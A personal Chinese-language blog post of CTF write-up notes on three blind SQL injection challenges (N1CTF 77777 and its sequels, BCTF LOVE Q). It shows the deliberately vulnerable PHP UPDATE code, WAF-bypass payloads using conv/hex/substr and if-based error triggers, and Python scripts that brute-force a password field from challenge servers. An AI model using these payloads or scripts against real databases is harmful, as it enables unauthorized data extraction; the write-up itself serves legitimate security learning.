三道盲注题

写在前面:个人学习笔记,对各路大佬”名言”的摘抄,方便自己以后查看,大佬们就请路过吧orz

77777.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function waf($points)
{
return $points;
}

function update_point($p,$points)
{
$link=mysqli_connect('127.0.0.1','root','root','ctf_test');

$q = sprintf("UPDATE user SET points =%d%s",$p,waf($points));
var_dump($q);
if(!$query =mysqli_query($link,$q)) return FALSE;
return TRUE;
}
if(!update_point($_REQUEST['flag'],$_REQUEST['hi']))echo 'sorry';
1
2
3
4
5
6
$ apt-get install php7.0
$ PHP Version 7.0.22-0ubuntu0.16.04.1
$ apt-get install mysql-server
$ apt-get install mysql-client
$ apt-get install php7.0-mysql
$ apt-get install libapache2-mod-php
1
$ curl -g "http://47.75.14.48/" -d "flag=hogefuga&hi=-(conv(hex((select substr(group_concat(c), 1, 4) from (select 1 a, 2 b, 3 c, 4 d union select * from users) x)), 16, 10))" 2>/dev/null | grep -1 Points

After reading over the code it’s obvious that the $points variable is vulnerable to SQL Injection, however it is also running through a waf function which we don’t have the code for. After doing some research on different ways I could exploit it, I discovered a technique here about using CONV(hex((query))) to extract data, after struggling on trying to get it working for ages, I FINALLY got it working using this query *CONV(HEX((SELECT MID(password,1,3))),16,10). For anyone who isn’t familiar with the functions in the statement I’ll break them down for you, MID allows you to obtain a substring of the field (I couldn’t use SUBSTRING because it was blocked by the waf :( ), the format is MID(field, <starting position>, <length>), after some more fiddling around I wrote a quick python script to automate it for me and do the decoding

77777.2

关键代码同上,更多的关键字被过滤,不过依然可以绕过

思路1:

1
flag=0&hi=%2bconv(hex(substr((select pw ),1, 4)), 16, 10)

pw左右各一个空格就绕过了,玄学。。

后台生成查询语句为UPDATE user SET points = 0+conv(hex(substr((select pw ),1, 4)), 16, 10) 应该是非预期,话说正解到底是啥?

思路2:

1
hi=000 | IF (substr((select substr( pw from 1)),1,1)>'z',1,0)

tips:pw from 1,它会返回pw字段从1开始的所有值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -*- coding:utf-8 -*-
import requests

url = 'http://47.52.137.90:20000/'
flag = ''

for i in range(1, 50):
lc = ''
for a in range(i):
lc += '+1'
lc = lc[1:]
sql = '000 | IF (substr((select substr( pw from 1)),{0},1)>\'{1}\',1,0)'
for ch in range(33, 128):
sqli = sql.format(lc, chr(ch))
data = {
'flag': 123,
'hi': sqli
}
# print(data)
html = requests.post(url, data=data)
text = html.text
# print(text)
if '123000' in text:
flag += chr(ch)
print(flag)
break
else:
pass

77777.3 LOVE Q

题目就是 n1ctf 中 77777 的续作,过滤了更多的东西,同时在 profile 中的 mypoints 也直接不回显了。

题目描述:

fuzz一波发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Select
From
'

hex()
substr()
#
Group by
conv()
user()
sum()
2
9
ifnull
if
|

没被过滤。

接着考虑注入,因为不回显,只有盲注,时间盲注函数被过滤了,只剩 bool 盲注,于是就要找到一个用来判定注入结果是否正确的条件。

于是目光落在了 update 失败会导致页面返回 sorry 上。
又有 if,思路就出来了

思路1:

payload: flag=0&hi=|if((select pw)>'{0}', 2,'\"')

这里就是爆破对比字符串,如果爆破的字符大于 flag 中当前对比的字符,if 就返回 ",造成sql语句出错,回显 sorry。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#coding:utf-8
import requests
import string

s = string.ascii_lowercase

# sql: update users set points=flaghi
# 注入后: update users set points=0|if pw > 'a',2,'\"'
payload = "|if(pw >'{0}', 2,'\"')"
url = "http://734d5a3dc6fc48f3b1d1d8e6812166024e0f081628824123.game.ichunqiu.com/"

data = {}
data["flag"] = 0

result = ''

while(1):
for i in s:
# 利用了sql字符串的比较特性
out = result + i
print "out:"+ out
data['hi'] = payload.format(result+i)
print data['hi']
r = requests.post(url, data=data)
if 'sorry' in r.text:
result += chr(ord(i)-1)
break

print result

Note:字符串大小比较的时候,会从左向右将两个字符串第一个不相等的两个字符的ascii码的比较结果作为最终结果

思路2:利用大整数溢出报错

1
payload = "|if(substr(pw,{},9-2-2-2-2)>'{}',(select 999999999999999999999999999999 * 9e299),2)"

参考:

N1CTF 77777 writeup

BCTF LOVE Q Writeup

BCTF Web Writeup

坚持原创技术分享,您的支持将鼓励我继续创作!